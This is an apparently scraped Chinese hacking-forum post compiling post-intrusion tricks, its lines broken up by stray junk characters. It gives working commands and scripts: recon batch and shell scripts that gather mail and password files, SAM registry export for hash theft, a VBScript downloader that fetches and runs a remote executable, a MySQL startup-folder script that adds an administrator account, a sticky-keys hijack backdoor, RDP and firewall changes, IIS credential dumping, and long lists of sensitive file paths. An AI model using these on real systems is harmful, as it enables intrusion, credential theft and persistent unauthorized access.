* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
( ]  [; Q7 _4 p8 s1 Y* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
  D7 r  n' w1 h# k! k, A+ Icalling nmount()
* Q: b! {7 f) {9 h5 I
7 I2 g$ c4 {% a8 T* K（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
8 U9 t! |( n% O7 `8 ]( w——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
+ ]4 o! N: O, v/ L1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
$ \! X: k: z0 H% ]7 z- oalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
: R; F/ c2 }) X  Q{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
4 N& X! q; V7 Y& a' k9 e若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
( d# {8 ]' v" Z  F1 o0 h" S那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
- I+ O5 @! f, G}  

提权先执行systeminfo
% d: G) V& v, i* @/ S+ D4 P# Otoken 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
+ N3 I% f9 f! irar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
) P& c$ N! [9 T" f# j2、收集系统信息的脚本  
for window：
" i/ L! D) y/ d( l/ X
9 a! X  G/ H. N7 V% C6 q8 P@echo off
echo #########system info collection
systeminfo
ver
$ X5 r7 I; ]  F% t8 C0 R! F* ~hostname
net user
net localgroup
net localgroup administrators
1 u+ Q( n3 }# `  X0 d* Cnet user guest
* @. e* \# i  d0 [3 Rnet user administrator

! T- ?3 R! N8 a: A3 ]echo #######at- with   atq#####
echo schtask /query

echo
* _" G  }$ k7 _" p% _: S$ I2 Iecho ####task-list#############
! s/ K" E% H$ R. `tasklist /svc
) R- W2 F2 x3 W) N1 U+ u- \% n' [3 becho
( x: ~4 Z7 [8 T/ W0 q7 Oecho ####net-work infomation
1 J* m! S+ J. T  S5 Hipconfig/all
3 e/ w( k  [/ eroute print
, m4 w  \# Y  N9 z6 garp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
for linux：

0 l  C* \- [# h& u/ e#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
* u; C$ d" o# M( r) fcat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
& B$ ~8 t" ~1 `' T: u! l9 T######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
. {/ T9 ]4 }5 a
# |4 X+ c! m$ K
( C$ y9 A' W$ ^echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
1 Y* @2 v3 J; g8 w5 X# L  Iset
2 g- u3 ^( A3 p" L& D3 u1 v! t
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
9 A8 Z, c1 s7 [( @6 i1 jhostname
ipconfig -a
( N" t3 o2 C0 b+ k0 p* Jarp -v
+ r" e; z4 v5 M& O; g# secho ########user####
1 h7 |# W# A0 N+ h. E1 X3 acat /etc/passwd|grep -i sh

1 b7 E' @7 E% _echo ######service####
chkconfig --list

+ b3 o9 l% A. ufor i in {oracle,mysql,tomcat,samba,apache,ftp}
: s  Q- `- T0 n' L" \3 T: V/ Dcat /etc/passwd|grep -i $i
% E& g" ]& K8 g. U9 d  ^& D" }done
5 K" P9 ]" a) g) |) \" M3 G
locate passwd >/tmp/password 2>/dev/null
sleep 5
7 O+ y1 O9 G6 s/ N( d, L% elocate password >>/tmp/password 2>/dev/null
sleep 5
/ y, h7 D* [4 ^/ `  t; Blocate conf >/tmp/sysconfig 2>dev/null
sleep 5
  r$ f, i0 t) ylocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
7 b1 l3 a7 \, {/ r
' Z9 p) n4 ?3 L, u5 Q/ {###maybe can use "tree /"###
# f, O# ?. h, T2 D) yecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
# `- ]" Q1 O& ~$ G% P3 _( f; m3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
4 p1 T3 S8 s% I! h. k/ j注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
; X; C2 m3 ~  T2 q* H: S; L$ q接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
! @3 V: x$ ~4 |' d9 p4、vbs 下载者
2 ^1 x1 z( t, |) ]( G) M$ \1
+ A* _8 J, v4 V# f; o  p9 Z1 D2 i+ Aecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
! Y0 Y& S% Z2 b8 c% jecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
" I- C# w% \, N3 I# g2 Hecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
6 P* I' ^2 |/ b! Vecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
; F9 T  ]7 r) n2 Y& r: _) Eecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
) E4 }4 \" W, l+ @5 k
2
On Error Resume Nextim iRemote,iLocal,s1,s2
2 e; ?5 [' J' X- U; e5 jiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
/ ^8 s( P1 d+ M. bs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
/ d- w" R& q) j- A+ OSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
* `& H  C. z, P3 N( PsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
9 w' j! E, T% @8 k* W
! Q1 T( Z4 s  m8 a/ F1 G: n当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
3 r% X- s1 m( `# I! d  l——————————————————
4 x+ _, j0 \/ ?$ Z. W5 D5、
1.查询终端端口
! ~3 W1 [5 E* g# p# z7 [+ P1 uREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
: ?" i0 l; T; [% U' m2.开启XP&2003终端服务
7 ?/ k! D! w1 k0 H/ u& WREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
9 D4 f- h/ I# Q' w1 O! t3.更改终端端口为2008(0x7d8)
; w$ K7 w  d) Y3 T% cREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
4 u" T9 D) R0 e0 {% tREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
' ~+ o0 i2 t) `1 j4 E2 J5 M4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
  K( x- I% \4 M' MREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
7 V/ u3 U' I) n6 y6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
+ G# ]' z8 t1 T5 rinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
& Y- J) {  @: z" |+ u% Y6 Bselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
/ n; M: `8 j: y7 t8 g9 `5 Z————————————————————
7 {+ ]- h% p: W! j: {$ s) R/ Y( C7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
" [# }# e% r, j9 F; [! f
! l2 @1 }0 C5 w( ]! M4 R0 F列出d的所有目录
  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

; z1 |0 [" [3 X9 `2.for /r %i in (*.exe) do @echo %i
  
. q% P3 W8 Z4 ]) I0 C以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

0 d  R9 y( s- [# F0 X5 |for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
8 F. Q+ `: |- U2 i
% _  R& I& `6 N! `: S8 C0 @+ B3.for /f %i in (c:\1.txt) do echo %i
2 [9 j" ^2 E' o  Q; X" \- V" U  
+ L/ k, g( k7 o  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
  l. P8 q: h5 h8 x
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
! e5 w) V. h" `8 {/ D——————————
●注册表:
1.Administrator注册表备份:
" T: I( X, x0 V4 \9 Ereg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
# P, W% W9 G6 R2 a0 A8 n& U& ]& e
! r2 A; A0 }+ w0 P2.修改3389的默认端口:
8 a. r, B8 z) L# t' u1 p" {) ?$ H& xHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
0 P: p, o" W% V3 ~' y4 R
) y1 ^: q6 {5 u% U. N3.清除3389登录记录:
+ ?0 l! _' p! `0 X" S5 T7 {reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
6 n/ R( \  F- t6 ]6 L- \8 Z
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
- b% s" w% E) v9 g- e; I2 qREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

7 L# z( u! y8 g. W) b5 @6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
  \" F2 `: [# m8 l或者
( G; i( o" w# Tnetsh ipsec dynamic set config ipsecexempt value=0
1 Y9 K# x( a3 ^/ [& A9 D
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
* y/ W7 d* d- w& b
8.系统口令恢复LM加密:
9 c! f4 Q) d6 T7 ?& q* c* K# {reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

+ V& N. F% ~: Y: b: v, @# h9.另类方法抓系统密码HASH
; ^* l+ N2 a* m! K. A1 c/ o  g  zreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
. p3 \; l5 R) g" \6 H; G/ b
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
# `4 Y: q: O2 V) o% Q2 Q-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
$ f, R3 E1 F/ t9 [For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
! f* f$ g6 b8 p, M  d& ]7 \, ^msgbox("error!")
wscript.quit
# H: E* y- T! D2 @3 i" q7 @end if
serverbindings=IIS.serverBindings
/ n9 ?3 p% U  E, F+ K9 TServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
$ [$ f9 @  d- Z: h! T1 ruser=iisweb.AnonymousUserName
. Q6 _5 J! B* ?" l, Apass=iisweb.AnonymousUserPass
path=IIsWeb.path
( Q! e4 S) h% z) S6 ^) Olist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
* {' J. C) W( Q  eSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
/ w1 Z2 c* Q% _* @! xWScript.Quit
复制代码
2 p' x6 F1 g, N5 q! |( b----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
2 y# H( C* c) N1 o8 `<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
4 [  ~* o4 v  k- ^) E% X复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
$ E# v$ \9 b. ~1 B( n  r8 N$ r4 Tasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
* g1 h/ B0 D# E$ { 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

, e1 q4 Z! A% @6 G: f6 X==============================================================
5 l7 f  U: W; j& ^LINUX常见路径：

$ u6 y, I- L; [/etc/passwd
- k. F3 k! U* i6 N1 d' B$ i/etc/shadow
/etc/fstab
9 P# Q* ]0 Q; B' k/etc/host.conf
7 v, X; @3 C8 D# j5 W; z/etc/motd
/etc/ld.so.conf
6 }7 {% l( {% u/ B, Z1 T/var/www/htdocs/index.php
8 a$ l* C8 o. s5 o& H  Y( q, f/var/www/conf/httpd.conf
/ U! G) @6 p, H  Q/var/www/htdocs/index.html
& G7 b+ ]. X" y7 E7 w3 n/var/httpd/conf/php.ini
. L/ k0 g( Y. y# U* ^5 i/var/httpd/htdocs/index.php
+ E, ^- n; C' C+ G( M# t/var/httpd/conf/httpd.conf
4 {! v8 ~  p2 j# q/var/httpd/htdocs/index.html
  X, I9 D0 l4 `/var/httpd/conf/php.ini
( b4 B1 W6 V  I' @( j2 i; d. ~/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
% Q' q6 K" B) d- D/opt/www/htdocs/index.php
$ }% B5 ?( r8 I7 b! w/opt/www/htdocs/index.html
( R" _6 N7 E' H% _, @/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
6 T9 |" p3 @% K; y. u, X/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
# u; Y. H+ ?# d+ J' f/tmp/apache/htdocs/index.php
. m: C) x' B( W) z& [# }4 K' C/etc/httpd/htdocs/index.php
) a6 N( D3 v2 u: A" f  h8 a9 g/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
& H/ V( E6 R# n7 \, N( j/www/php/php.ini
5 S" _, h5 F' |- U/www/php4/php.ini
' g: m: W3 _7 f9 W5 x6 d/www/php5/php.ini
, s. s# S# ~. Y/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
9 t$ @  T5 x# p5 `1 G1 P  S+ Z/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
, W* X) Y& ~8 F+ ~( t/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
: ~! U$ ^/ h! G6 p, S; K/etc/apache2/vhosts.d/00_default_vhost.conf
6 D- C5 v. I# {/ x/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
4 R) s8 s( t- }9 ?/etc/httpd/conf.d/php.conf
! t/ ?5 \' [5 d1 O/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
. T5 `* k# k( y6 ^# m/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/ H' H9 y% H, F( E/etc/httpd/logs/access.log
6 f' k+ i3 q; W+ J3 R/home/apache/conf/httpd.conf
( U( _5 i" E" |# f! j1 X/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/ o6 ~' A8 E# m# o! G2 A/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
; M; I5 _* g5 f7 r/ @9 l" s, H2 h/var/log/apache2/access_log
6 u2 K& a6 b, ~7 L/var/log/apache2/access.log
0 S# V" ^  ~3 d/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
* y: b6 N. E) Z/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
* i: Z# O; p2 P0 x  u/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
; v! S; A9 A& b/etc/php.ini
0 E0 ?, J/ J( Y5 K- y  g/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
2 {! ]2 w$ D4 h( C9 l/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
$ h' B3 E. c5 C4 Q3 ]/usr/local/lib/php.ini
2 Z9 [* `7 e, N/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
' q  S/ j! d. Y) B2 z/usr/local/php4/php.ini
. Z' w" k; P% h3 c) c/ v/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
. x9 E. j) ~# C# _1 m/usr/local/php5/etc/php.ini
4 @: b* j9 M# H; `/ h* K/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
3 z, r9 W& p! j* c0 {/usr/local/apache/conf/httpd.conf
7 M+ y9 a- I. h/ @3 c# h5 l. p/usr/local/apache2/conf/httpd.conf
1 E! X8 ~  _8 u; y/usr/local/apache2/conf/php.ini
" q$ I  B' l: n) X0 C8 {9 E2 V# k/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
- W# Q' B- n+ }  B/etc/php4/apache2/php.ini
+ e0 J9 ~0 q7 I, r/etc/php5/apache/php.ini
0 j2 v" r+ w0 o" T/etc/php5/apache2/php.ini
: b8 `- o2 I0 C% c) z# f/etc/php/php.ini
4 C7 Y  y- _) ^3 o  F& j/etc/php/php4/php.ini
8 C5 H5 M/ I* }- z* q: M, }; \/etc/php/apache/php.ini
# Y3 E8 j' A: c/etc/php/apache2/php.ini
/web/conf/php.ini
" C7 Y/ Q  H$ l/usr/local/Zend/etc/php.ini
! l2 q" l  H! f# ~( m& c/opt/xampp/etc/php.ini
3 r! ?  D6 Y  u. @/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
% w5 W; B- v% }" l& R8 i4 S. J/etc/php5/cgi/php.ini
" N$ |# X7 o5 T& W2 Q' s6 H, v/php5/php.ini
/php4/php.ini
/php/php.ini
- m9 o0 v9 b7 `0 J! W/ f/PHP/php.ini
; m  Y/ L! z) W! s; d  d/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
' o8 L9 `1 @5 V/ c9 z& y/NetServer/bin/stable/apache/php.ini
! K7 a/ n4 X- |1 R( W/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
1 V5 o& b4 ~$ z1 y/var/log/mysql.log
4 R6 `& `1 b% Z* @6 }* J& U+ j/var/log/mysqlderror.log
/var/log/mysql/mysql.log
2 d# F/ _4 F% Y+ d! I/var/log/mysql/mysql-slow.log
/var/mysql.log
- g) P" L- ]9 t' P6 s2 H6 u# |/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
  G2 @' G7 b: C1 [# N- X- k7 O/etc/mysql/my.cnf
/etc/my.cnf
3 h& _: v" ^4 e8 m' @+ T4 I/usr/local/cpanel/logs
5 _" m5 Z$ [: O) ]3 ~" P0 A/usr/local/cpanel/logs/stats_log
' F$ ?2 n# c5 K% q9 g/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
& o* B- [( J+ W6 z/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
: |# N! f; I' O$ H# z9 ?5 ]4 a" ~5 q/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

4 ]8 v( S; Y; \c:\windows\php.ini
c:\boot.ini
+ F, y+ Q2 V" d! x$ mc:\1.txt
c:\a.txt
* w8 ?) e' D$ h# P6 O9 q4 G
5 \& W+ f. H# k9 x4 s7 sc:\CMailServer\config.ini
  k( }: ]2 r8 `2 Z$ O% Zc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
2 ?3 E3 ?9 W. T! f9 N0 DC:\WinWebMail\Web\default.asp
& d8 b, w: g& x) FC:\WINDOWS\FreeHost32.dll
2 O6 Y" ?1 V: oC:\WINDOWS\7i24iislog4.exe
$ g" K7 E, p1 X3 o; z2 E9 cC:\WINDOWS\7i24tool.exe

- v% T' \5 \% t: mc:\hzhost\databases\url.asp

  U0 W: W1 I! U$ {c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
( @8 w9 j4 F& I. G8 B
) A+ ^3 V) G9 [' H5 I) g( B% nC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
- u' `. M3 k! q/ ]c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
! G7 W1 n; U" W* Q' @c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
. X$ e' J' y3 \c:\web\index.php
c:\www\index.php
, }0 W% i' e- U6 Pc:\WWWROOT\index.php
9 r% V- u' c- Vc:\WWWsite\index.php
3 W- z% n, a; Bc:\web\default.html
c:\www\default.html
0 u5 D4 k" W* Ac:\WWWROOT\default.html
c:\website\default.html
2 s' n+ a+ m, w- ?c:\web\default.asp
4 T3 Y" {" \% k, P% c8 jc:\www\default.asp
c:\wwwsite\default.asp
* J% ^& `) v5 }0 xc:\WWWROOT\default.asp
c:\web\default.php
1 |) n" E* H) V5 m2 z; Bc:\www\default.php
& [5 [- j, G/ z: E6 x0 \( Nc:\WWWROOT\default.php
c:\WWWsite\default.php
) E5 R; R! t! D7 s2 `C:\Inetpub\wwwroot\pagerror.gif
* O0 a: g- a5 w& p) K3 b' V; lc:\windows\notepad.exe
2 N& D" C4 g! a* Z8 J% W* q0 nc:\winnt\notepad.exe
/ `8 M% b4 v' O# {* xC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
. F9 n) O& G' F  A- \2 AC:\Program Files\360\360Safe\360safe.exe
1 E6 I( |! j/ [6 M4 _/ YC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
- S* M5 z( F+ Fc:\ravbin\store.ini
5 R, m! q* C( S8 Vc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
6 d6 J  {; ?- H$ Y2 Z7 N: u3 L, wC:\Documents and Settings\All Users\Start Menu\desktop.ini
. a; m, O/ @% u! M- \) W; Q3 oC:\Documents and Settings\Administrator\My Documents\Default.rdp
$ J7 D7 r# R7 G6 MC:\Documents and Settings\Administrator\Cookies\index.dat
6 q# r# V+ ^& l! \8 G1 ~; oC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
# D7 b" I8 G" w, KC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
4 e7 o' A# }3 m$ J9 C6 kC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
$ ]/ ^1 T  \* x- oE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
9 j4 q$ w: F# @9 J7 E# P/ X1 AC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
: x2 X7 g( `9 G' v" ?' n  M( n8 UC:\Program Files\Symantec\SYMEVENT.INF
4 S: W: e. J" I9 ~1 I& nC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
; Z8 X: c$ c, y7 P/ R+ WC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
3 H1 m2 k- z2 d4 _) N) ]C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
. V+ _1 l, j/ {3 Q& B* U$ e& ^C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
- |9 ?; J  y6 [0 z. O8 L% \C:\MySQL\MySQL Server 5.0\my.ini
' w9 m" ~) \% {( ?C:\Program Files\MySQL\MySQL Server 5.0\my.ini
$ `6 A1 M1 n- Q- i! _C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
3 h% A9 {1 [9 g; }) N5 ?C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
; p! o, e. |2 o* {9 R6 N" Y9 DC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
" C1 l$ n# I- |" P% U3 O* L. Rc:\MySQL\MySQL Server 4.1\bin\mysql.exe
) P- Q0 k% a0 }( O* `4 |$ @/ Cc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
% A4 v1 R& F; s* OC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
, R* v0 O. I7 U# L0 hC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
6 S$ [: [0 p/ s9 T$ @; q/ ~3 oC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
  r) c+ Z0 w3 K9 d! J, Vc:\program files\CMailServer\config.ini
1 b' o$ W, Q& v/ Pc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
2 {7 W0 p3 o6 t2 Z+ T( D' wc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
' o! |! K* e: S8 c& K; A! kc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
) M/ J; A9 k5 oC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
